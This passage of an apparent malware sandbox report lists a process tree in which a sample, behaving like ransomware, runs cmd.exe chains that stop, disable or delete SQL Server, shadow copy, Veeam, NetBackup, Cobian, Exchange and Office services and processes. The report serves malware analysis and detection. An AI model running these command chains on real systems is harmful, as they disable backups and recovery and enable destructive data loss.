        C:\Windows\system32\net1 stop "SQLWrite"
        5⤵
        
        PID:1984
  - - C:\Windows\SysWOW64\net.exe
      net stop "MSSQL$VEEAMSQL2012"
      4⤵
      PID:4392
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2012"
        5⤵
        
        PID:4452
  - - C:\Windows\SysWOW64\net.exe
      net stop "SQLAgent$VEEAMSQL2012"
      4⤵
      PID:4800
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2012"
        5⤵
        
        PID:4940
  - - C:\Windows\SysWOW64\net.exe
      net stop "MSSQL"
      4⤵
      PID:2032
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSSQL"
        5⤵
        
        PID:3892
  - - C:\Windows\SysWOW64\net.exe
      net stop "SQLAgent"
      4⤵
      PID:4596
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLAgent"
        5⤵
        
        PID:4936
  - - C:\Windows\SysWOW64\net.exe
      net stop "MSSQLServerADHelper100"
      4⤵
      PID:5000
  - - C:\Windows\SysWOW64\net.exe
      net stop "MSSQLServerOLAPService"
      4⤵
      PID:4452
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSSQLServerOLAPService"
        5⤵
        
        PID:4684
  - - C:\Windows\SysWOW64\net.exe
      net stop "MsDtsServer100"
      4⤵
      PID:288
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MsDtsServer100"
        5⤵
        
        PID:5056
  - - C:\Windows\SysWOW64\net.exe
      net stop "ReportServer"
      4⤵
      PID:1912
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "ReportServer"
        5⤵
        
        PID:4388
  - - C:\Windows\SysWOW64\net.exe
      net stop "TMBMServer"
      4⤵
      PID:1380
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TMBMServer"
        5⤵
        
        PID:4116
  - - C:\Windows\SysWOW64\net.exe
      net stop "SQLTELEMETRY$HL"
      4⤵
      PID:4248
  - - C:\Windows\SysWOW64\net.exe
      net stop "MSSQL$PROGID"
      4⤵
      PID:4304
  - - C:\Windows\SysWOW64\net.exe
      net stop "MSSQL$WOLTERSKLUWER"
      4⤵
      PID:2744
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSSQL$WOLTERSKLUWER"
        5⤵
        
        PID:280
  - - C:\Windows\SysWOW64\net.exe
      net stop "SQLAgent$PROGID"
      4⤵
      PID:4232
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLAgent$PROGID"
        5⤵
        
        PID:308
  - - C:\Windows\SysWOW64\net.exe
      net stop "SQLAgent$WOLTERSKLUWER"
      4⤵
      PID:4808
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLAgent$WOLTERSKLUWER"
        5⤵
        
        PID:4804
  - - C:\Windows\SysWOW64\net.exe
      net stop "MSSQLFDLauncher$OPTIMA"
      4⤵
      PID:2204
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSSQLFDLauncher$OPTIMA"
        5⤵
        
        PID:4380
  - - C:\Windows\SysWOW64\net.exe
      net stop "MSSQL$OPTIMA"
      4⤵
      PID:1564
  - - C:\Windows\SysWOW64\net.exe
      net stop "SQLAgent$OPTIMA"
      4⤵
      PID:4708
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLAgent$OPTIMA"
        5⤵
        
        PID:4232
  - - C:\Windows\SysWOW64\net.exe
      net stop "ReportServer$OPTIMA"
      4⤵
      PID:5084
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "ReportServer$OPTIMA"
        5⤵
        
        PID:3612
  - - C:\Windows\SysWOW64\net.exe
      net stop "msftesql$SQLEXPRESS"
      4⤵
      PID:4760
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop iNethinkSQLBackupSvc
        5⤵
        
        PID:4680
  - - C:\Windows\SysWOW64\net.exe
      net stop "postgresql-x64-9.4"
      4⤵
      PID:4468
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "postgresql-x64-9.4"
        5⤵
        
        PID:1752
  - - C:\Windows\SysWOW64\sc.exe
      sc config "MSSQLFDLauncher" start= disabled
      4⤵
      PID:4148
  - - C:\Windows\SysWOW64\sc.exe
      sc config "SQLSERVERAGENT" start= disabled
      4⤵
      PID:3644
  - - C:\Windows\SysWOW64\sc.exe
      sc config "SQLTELEMETRY" start= disabled
      4⤵
      PID:4108
  - - C:\Windows\SysWOW64\sc.exe
      sc config "SQLBrowser" start= disabled
      4⤵
      PID:1380
  - - C:\Windows\SysWOW64\sc.exe
      sc config "MsDtsServer130" start= disabled
      4⤵
      PID:4396
  - - C:\Windows\SysWOW64\sc.exe
      sc config "SSISTELEMETRY130" start= disabled
      4⤵
      PID:4784
  - - C:\Windows\SysWOW64\sc.exe
      sc config "MSSQL$WOLTERSKLUWER" start= disabled
      4⤵
      PID:4392
  - - C:\Windows\SysWOW64\sc.exe
      sc config "SQLAgent$PROGID" start= disabled
      4⤵
      PID:4468
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "color b & a & sc config "SQLWriter" start= disabled & sc config "MSSQL$VEEAMSQL2012" start= disabled & sc config "SQLAgent$VEEAMSQL2012" start= disabled & sc config "MSSQL" start= disabled & sc config "SQLAgent" start= disabled & sc config "MSSQLServerADHelper100" start= disabled & sc config "MSSQLServerOLAPService" start= disabled & sc config "MsDtsServer100" start= disabled & sc config "ReportServer" start= disabled & sc config "SQLTELEMETRY$HL" start= disabled & sc config "TMBMServer" start= disabled & sc config "MSSQL$PROGID" start= disabled"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2352
  - - C:\Windows\SysWOW64\sc.exe
      sc config "SQLWriter" start= disabled
      4⤵
      PID:2968
  - - C:\Windows\SysWOW64\sc.exe
      sc config "MSSQL$VEEAMSQL2012" start= disabled
      4⤵
      PID:1496
  - - C:\Windows\SysWOW64\sc.exe
      sc config "SQLAgent$VEEAMSQL2012" start= disabled
      4⤵
      PID:3860
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SSISTELEMETRY130"
        5⤵
        
        PID:2668
  - - C:\Windows\SysWOW64\sc.exe
      sc config "MSSQL" start= disabled
      4⤵
      PID:2932
  - - C:\Windows\SysWOW64\sc.exe
      sc config "SQLAgent" start= disabled
      4⤵
      PID:1952
  - - C:\Windows\SysWOW64\sc.exe
      sc config "MSSQLServerADHelper100" start= disabled
      4⤵
      PID:2232
  - - C:\Windows\SysWOW64\sc.exe
      sc config "MSSQLServerOLAPService" start= disabled
      4⤵
      PID:2968
  - - C:\Windows\SysWOW64\sc.exe
      sc config "MsDtsServer100" start= disabled
      4⤵
      PID:612
  - - C:\Windows\SysWOW64\sc.exe
      sc config "ReportServer" start= disabled
      4⤵
      PID:724
  - - C:\Windows\SysWOW64\sc.exe
      sc config "SQLTELEMETRY$HL" start= disabled
      4⤵
      PID:1212
  - - C:\Windows\SysWOW64\sc.exe
      sc config "TMBMServer" start= disabled
      4⤵
      PID:3996
  - - C:\Windows\SysWOW64\sc.exe
      sc config "MSSQL$PROGID" start= disabled
      4⤵
      PID:304
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "color b & taskkill /F /IM U8WorkerService.exe & taskkill /F /IM UFIDA.U8.ECE.UTU.Services.exe & taskkill /F /IM UFIDA.U8.UAP.ReportService.exe & taskkill /F /IM U8AllAuthServer.exe & taskkill /F /IM U8WebPool.exe & taskkill /F /IM U8TaskService.exe & taskkill /F /IM UFIDA.U8.Report.SLReportService.exe & taskkill /F /IM U8SCMPool.exe & taskkill /F /IM U8DispatchService.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2060
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM U8WorkerService.exe
      4⤵
      PID:4012
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM UFIDA.U8.ECE.UTU.Services.exe
      4⤵
      PID:308
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM UFIDA.U8.UAP.ReportService.exe
      4⤵
      PID:1620
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM U8AllAuthServer.exe
      4⤵
      Kills process with taskkill
      PID:4828
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM U8WebPool.exe
      4⤵
      PID:312
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM U8TaskService.exe
      4⤵
      PID:4792
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM UFIDA.U8.Report.SLReportService.exe
      4⤵
      PID:4856
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM U8SCMPool.exe
      4⤵
      PID:5008
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM U8DispatchService.exe
      4⤵
      PID:5004
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "color b & sc config MSSQLSERVER start=disabled & sc config "SQL Server (MSSQLSERVER)" start=disabled & net stop MSSQL$ & sc config MSSQL$ start=disabled & net stop SQLSERVERAGENT & sc config SQLSERVERAGENT start=disabled & net stop SQLBrowser & sc config SQLBrowser start=disabled & net stop vss & sc config vss start=disabled & net stop SQLWriter & sc config SQLWriter start=disabled & net stop vmvss & sc config vmvss start=disabled & sc config MSSQL$FE_EXPRESS start= disabled & net stop MSSQL$RE_EXPRESS & net stop SQLANYs_Sage_FAS_Fixed_Assets & sc config SQLANYs_Sage_FAS_Fixed_Assets start=disabled & net stop MSSQL$VIM_SQLEXP & sc config MSSQL$VIM_SQLEXP start=disabled & net stop "MSSQLFDLauncher" & net stop "MSSQLSERVER""
    3⤵
    PID:2948
  - - C:\Windows\SysWOW64\sc.exe
      sc config MSSQLSERVER start=disabled
      4⤵
      PID:2140
  - - C:\Windows\SysWOW64\sc.exe
      sc config "SQL Server (MSSQLSERVER)" start=disabled
      4⤵
      PID:1228
  - - C:\Windows\SysWOW64\net.exe
      net stop MSSQL$
      4⤵
      PID:416
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSSQL$
        5⤵
        
        PID:896
  - - C:\Windows\SysWOW64\sc.exe
      sc config MSSQL$ start=disabled
      4⤵
      PID:1740
  - - C:\Windows\SysWOW64\net.exe
      net stop SQLSERVERAGENT
      4⤵
      PID:616
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SQLSERVERAGENT
        5⤵
        
        PID:736
  - - C:\Windows\SysWOW64\sc.exe
      sc config SQLSERVERAGENT start=disabled
      4⤵
      PID:2724
  - - C:\Windows\SysWOW64\net.exe
      net stop SQLBrowser
      4⤵
      PID:896
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SQLBrowser
        5⤵
        
        PID:1604
  - - C:\Windows\SysWOW64\sc.exe
      sc config SQLBrowser start=disabled
      4⤵
      PID:1540
  - - C:\Windows\SysWOW64\net.exe
      net stop vss
      4⤵
      PID:372
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop vss
        5⤵
        
        PID:4248
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLTELEMETRY$HL"
        6⤵
        
        PID:4504
  - - C:\Windows\SysWOW64\sc.exe
      sc config vss start=disabled
      4⤵
      PID:4140
  - - C:\Windows\SysWOW64\net.exe
      net stop SQLWriter
      4⤵
      PID:1620
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SQLWriter
        5⤵
        
        PID:4232
  - - C:\Windows\SysWOW64\sc.exe
      sc config SQLWriter start=disabled
      4⤵
      PID:4588
  - - C:\Windows\SysWOW64\net.exe
      net stop vmvss
      4⤵
      PID:4868
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop vmvss
        5⤵
        
        PID:5044
  - - C:\Windows\SysWOW64\sc.exe
      sc config vmvss start=disabled
      4⤵
      PID:5024
  - - C:\Windows\SysWOW64\sc.exe
      sc config MSSQL$FE_EXPRESS start= disabled
      4⤵
      PID:2320
  - - C:\Windows\SysWOW64\net.exe
      net stop MSSQL$RE_EXPRESS
      4⤵
      PID:4636
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSSQL$RE_EXPRESS
        5⤵
        
        PID:5072
  - - C:\Windows\SysWOW64\net.exe
      net stop SQLANYs_Sage_FAS_Fixed_Assets
      4⤵
      PID:2464
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SQLANYs_Sage_FAS_Fixed_Assets
        5⤵
        
        PID:4224
  - - C:\Windows\SysWOW64\sc.exe
      sc config SQLANYs_Sage_FAS_Fixed_Assets start=disabled
      4⤵
      PID:1544
  - - C:\Windows\SysWOW64\net.exe
      net stop MSSQL$VIM_SQLEXP
      4⤵
      PID:1712
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSSQL$VIM_SQLEXP
        5⤵
        
        PID:4996
  - - C:\Windows\SysWOW64\sc.exe
      sc config MSSQL$VIM_SQLEXP start=disabled
      4⤵
      PID:4940
  - - C:\Windows\SysWOW64\net.exe
      net stop "MSSQLFDLauncher"
      4⤵
      PID:1860
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSSQLFDLauncher"
        5⤵
        
        PID:4332
  - - C:\Windows\SysWOW64\net.exe
      net stop "MSSQLSERVER"
      4⤵
      PID:2320
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSSQLSERVER"
        5⤵
        
        PID:5012
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "color b & a & taskkill /F /IM Veeam.Backup.Agent.ConfigurationService.exe & taskkill /F /IM Veeam.Backup.BrokerService.exe & taskkill /F /IM Veeam.Backup.CatalogDataService.exe & taskkill /F /IM Veeam.Backup.CloudService.exe & taskkill /F /IM Veeam.Backup.Manager.exe & taskkill /F /IM Veeam.Backup.MountService.exe & taskkill /F /IM Veeam.Backup.Service.exe & taskkill /F /IM Veeam.Backup.WmiServer.exe & taskkill /F /IM Veeam.Guest.Interaction.Proxy.exe & taskkill /F /IM VeeamDeploymentSvc.exe & taskkill /F /IM VeeamNFSSvc.exe & taskkill /F /IM VeeamTransportSvc.exe & taskkill /F /IM sqlbrowser.exe & taskkill /F /IM sqlceip.exe & taskkill /F /IM sqlservr.exe & taskkill /F /IM sqlwriter.exe & taskkill /F /IM sqlagentc.exe & taskkill /F /IM ReportingServicesService.exe & taskkill /F /IM Ssms.exe & taskkill /F /IM fdhost.exe & taskkill /F /IM fdlauncher.exe & taskkill /F /IM MsDtsSrvr.exe & taskkill /F /IM msmdsrv.exe & taskkill /F /IM mysql.exe & taskkill /F /IM mysqld.exe & taskkill /F /IM w3wp.exe & taskkill /F /IM wsusservice.exe & taskkill /F /IM SageCSClient.exe & taskkill /F /IM UFSoft.U8.OC.QuartzScheduler.exe & taskkill /F /IM Launchpad.exe & taskkill /F /IM dbsrv12.exe & taskkill /F /IM EXCEL.EXE & taskkill /F /IM OUTLOOK.EXE & taskkill /F /IM WINWORD.EXE & taskkill /F /IM OneDrive.exe & taskkill /F /IM TaskService.exe"
    3⤵
    PID:1836
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Veeam.Backup.Agent.ConfigurationService.exe
      4⤵
      PID:2828
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Veeam.Backup.BrokerService.exe
      4⤵
      PID:1812
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Veeam.Backup.CatalogDataService.exe
      4⤵
      PID:2844
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Veeam.Backup.CloudService.exe
      4⤵
      Kills process with taskkill
      PID:60
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Veeam.Backup.Manager.exe
      4⤵
      PID:4564
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Veeam.Backup.MountService.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4432
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Veeam.Backup.Service.exe
      4⤵
      PID:4724
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Veeam.Backup.WmiServer.exe
      4⤵
      PID:4536
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Veeam.Guest.Interaction.Proxy.exe
      4⤵
      PID:4572
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM VeeamDeploymentSvc.exe
      4⤵
      PID:724
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM VeeamNFSSvc.exe
      4⤵
      PID:2052
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM VeeamTransportSvc.exe
      4⤵
      Kills process with taskkill
      PID:2752
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM sqlbrowser.exe
      4⤵
      PID:4464
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM sqlceip.exe
      4⤵
      PID:4960
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM sqlservr.exe
      4⤵
      PID:4800
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM sqlwriter.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4724
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM sqlagentc.exe
      4⤵
      PID:4660
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM ReportingServicesService.exe
      4⤵
      Kills process with taskkill
      PID:4068
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Ssms.exe
      4⤵
      PID:4300
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM fdhost.exe
      4⤵
      PID:3688
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM fdlauncher.exe
      4⤵
      PID:1576
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM MsDtsSrvr.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4792
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM msmdsrv.exe
      4⤵
      PID:4988
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM mysql.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4384
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM mysqld.exe
      4⤵
      Kills process with taskkill
      PID:4596
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM w3wp.exe
      4⤵
      PID:2952
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM wsusservice.exe
      4⤵
      PID:4068
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM SageCSClient.exe
      4⤵
      PID:4132
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM UFSoft.U8.OC.QuartzScheduler.exe
      4⤵
      PID:1596
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Launchpad.exe
      4⤵
      Kills process with taskkill
      PID:4100
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM dbsrv12.exe
      4⤵
      PID:5088
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM EXCEL.EXE
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2464
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM OUTLOOK.EXE
      4⤵
      PID:4824
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM WINWORD.EXE
      4⤵
      PID:4252
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM OneDrive.exe
      4⤵
      PID:3008
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM TaskService.exe
      4⤵
      PID:4504
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "color b & a & net stop "MSOLAP$SHOPCONTROL9" & net stop "MSSQL$SHOPCONTROL9" & net stop "MSSQLFDLauncher$SHOPCONTROL9" & net stop "ReportServer$SHOPCONTROL9" & net stop "SQLAgent$SHOPCONTROL9" & net stop "NetBackup Client Service" & net stop "NetBackup Discovery Framework" & net stop "NetBackup Legacy Client Service" & net stop "NetBackup Legacy Network Service" & net stop "NetBackup Proxy Service" & net stop "NetBackup SAN Client Fibre Transport Service" & taskkill /IM mysqld-nt.exe /F & taskkill /IM NFVPrint.exe /F & taskkill /IM licenceserver.exe /F & taskkill /IM Launchpad.exe /F & taskkill /F /IM "FileZilla Server.exe" & taskkill /F /IM cbService.exe & taskkill /F /IM cbInterface.exe & taskkill /F /IM pvxwin32.exe & taskkill /F /IM pvxwin64.exe & taskkill /F /IM pvxcom.exe & taskkill /F /IM pvxiosvr.exe & taskkill /F /IM Sage.NA.AT_AU.SysTray.exe & taskkill /F /IM Sage.NA.AT_AU.Service.exe"
    3⤵
    PID:1668
  - - C:\Windows\SysWOW64\net.exe
      net stop "MSOLAP$SHOPCONTROL9"
      4⤵
      PID:2592
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSOLAP$SHOPCONTROL9"
        5⤵
        
        PID:2816
  - - C:\Windows\SysWOW64\net.exe
      net stop "MSSQL$SHOPCONTROL9"
      4⤵
      PID:796
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSSQL$SHOPCONTROL9"
        5⤵
        
        PID:412
  - - C:\Windows\SysWOW64\net.exe
      net stop "MSSQLFDLauncher$SHOPCONTROL9"
      4⤵
      PID:3312
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSSQLFDLauncher$SHOPCONTROL9"
        5⤵
        
        PID:2952
  - - C:\Windows\SysWOW64\net.exe
      net stop "ReportServer$SHOPCONTROL9"
      4⤵
      PID:2220
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "ReportServer$SHOPCONTROL9"
        5⤵
        
        PID:1308
  - - C:\Windows\SysWOW64\net.exe
      net stop "SQLAgent$SHOPCONTROL9"
      4⤵
      PID:4144
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLAgent$SHOPCONTROL9"
        5⤵
        
        PID:4376
  - - C:\Windows\SysWOW64\net.exe
      net stop "NetBackup Client Service"
      4⤵
      PID:4792
  - - C:\Windows\SysWOW64\net.exe
      net stop "NetBackup Discovery Framework"
      4⤵
      PID:2704
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "NetBackup Discovery Framework"
        5⤵
        
        PID:4224
  - - C:\Windows\SysWOW64\net.exe
      net stop "NetBackup Legacy Client Service"
      4⤵
      PID:4668
  - - C:\Windows\SysWOW64\net.exe
      net stop "NetBackup Legacy Network Service"
      4⤵
      PID:5048
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "NetBackup Legacy Network Service"
        5⤵
        
        PID:5024
  - - C:\Windows\SysWOW64\net.exe
      net stop "NetBackup Proxy Service"
      4⤵
      PID:4632
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "NetBackup Proxy Service"
        5⤵
        
        PID:4612
  - - C:\Windows\SysWOW64\net.exe
      net stop "NetBackup SAN Client Fibre Transport Service"
      4⤵
      PID:5096
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "NetBackup SAN Client Fibre Transport Service"
        5⤵
        
        PID:2816
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM mysqld-nt.exe /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5048
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM NFVPrint.exe /F
      4⤵
      PID:4752
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM licenceserver.exe /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5112
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM Launchpad.exe /F
      4⤵
      PID:4468
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM "FileZilla Server.exe"
      4⤵
      PID:4936
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM cbService.exe
      4⤵
      PID:4856
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM cbInterface.exe
      4⤵
      PID:3312
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM pvxwin32.exe
      4⤵
      Kills process with taskkill
      PID:4664
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM pvxwin64.exe
      4⤵
      PID:4924
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM pvxcom.exe
      4⤵
      PID:4768
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM pvxiosvr.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1812
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Sage.NA.AT_AU.SysTray.exe
      4⤵
      PID:4468
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Sage.NA.AT_AU.Service.exe
      4⤵
      PID:1284
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "color b & a & @taskkill /IM Tomcat7w.exe /F & @taskkill /IM "UFSoft.U8.OC.QuartzScheduler.exe" /F & @taskkill /IM UFSoft.U8.OC.QuartzScheduler.exe /F & @taskkill /IM Launchpad.exe /F & @taskkill /IM mpdwsvc.exe /F & @taskkill /IM cbVSCService11.exe /F & @taskkill /IM cbService.exe /F & @sc delete CobianBackup11 & @sc delete cbVSCService11 & @taskkill /IM mysqld-nt.exe /F & @taskkill /IM "Kingdee.K3.CRM.MMC.AutoService.exe" /F & @taskkill /IM sqlceip.exe /F & @taskkill /IM "Microsoft.SqlServer.IntegrationServices.MasterServiceHost.exe" /F & taskkill /F /IM store.exe & taskkill /F /IM MSExchangeMailboxReplication.exe & taskkill /F /IM Microsoft.Exchange.ProtectedServiceHost.exe & taskkill /F /IM MSExchangeThrottling.exe & taskkill /F /IM EdgeTransport.exe & taskkill /F /IM MSExchangeTransportLogSearch.exe & taskkill /F /IM Microsoft.Exchange.RpcClientAccess.Service.exe & taskkill /F /IM Microsoft.Exchange.AddressBook.Service.exe & taskkill /F /IM DataCollectorSvc.exe & taskkill /F /IM Microsoft.Exchange.ServiceHost.exe & taskkill /F /IM Microsoft.Exchange.ContentFilter.Wrapper.exe & taskkill /F /IM MSExchangeMailboxAssistants.exe & taskkill /F /IM msexchangerepl.exe & taskkill /F /IM Microsoft.Exchange.Search.ExSearch.exe & taskkill /F /IM Microsoft.Exchange.EdgeSyncSvc.exe & taskkill /F /IM MsExchangeFDS.exe & taskkill /F /IM MSExchangeMailSubmission.exe & taskkill /F /IM MSExchangeTransport.exe & taskkill /F /IM Microsoft.Exchange.AntispamUpdateSvc.exe"
    3⤵
    PID:2056
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM Tomcat7w.exe /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:980
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM "UFSoft.U8.OC.QuartzScheduler.exe" /F
      4⤵
      PID:3532
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM UFSoft.U8.OC.QuartzScheduler.exe /F
      4⤵
      PID:3512
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM Launchpad.exe /F
      4⤵
      PID:4972
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM mpdwsvc.exe /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4952
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM cbVSCService11.exe /F
      4⤵
      PID:4972
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM cbService.exe /F
      4⤵
      PID:3440
  - - C:\Windows\SysWOW64\sc.exe
      sc delete CobianBackup11
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2828
  - - C:\Windows\SysWOW64\sc.exe
      sc delete cbVSCService11
      4⤵
      PID:5064
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM mysqld-nt.exe /F
      4⤵
      PID:4688
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM "Kingdee.K3.CRM.MMC.AutoService.exe" /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4488
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM sqlceip.exe /F
      4⤵
      PID:2856
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM "Microsoft.SqlServer.IntegrationServices.MasterServiceHost.exe" /F
      4⤵
      PID:1740
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM store.exe
      4⤵
      PID:4224
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM MSExchangeMailboxReplication.exe
      4⤵
      PID:4692
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Microsoft.Exchange.ProtectedServiceHost.exe
      4⤵
      PID:2840
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM MSExchangeThrottling.exe
      4⤵
      PID:4704
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM EdgeTransport.exe
      4⤵
      PID:3692
